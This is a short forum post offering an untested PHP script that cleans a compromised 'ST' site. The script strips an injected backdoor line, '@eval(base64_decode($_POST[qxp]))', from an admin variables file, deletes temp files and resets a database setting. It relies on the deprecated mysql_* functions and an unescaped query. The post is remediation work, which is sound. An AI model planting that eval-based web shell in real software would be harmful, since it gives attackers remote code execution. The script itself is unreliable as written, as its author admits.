untested (might not work at all. i dont have ST, and i just wrote it based on the instructions in the blog post). I take no responsibility if it breaks something, use at your own risk.
PHP Code:
<?php
$dbserver = '';
$dbuser = '';
$dbpass = '';
$dbname = '';
$dblink = mysql_connect($dbserver,$dbuser,$dbpass);
mysql_select_db($dbname,$dblink);
copy("st/admin/variables.php","tmp/variables.bak");
$string = file_get_contents("st/admin/variables.php");
$string = str_replace("@eval(base64_decode($_POST[qxp]));//’;","",$string);
file_put_contents("st/admin/variables.php",$string);
unlink("/tmp/sesa.tmp");
unlink("/tmp/webcam.tmp");
include('st/admin/variables.php');
mysql_query("UPDATE st_settings SET niche = '$niche'");
exit("Done");
?>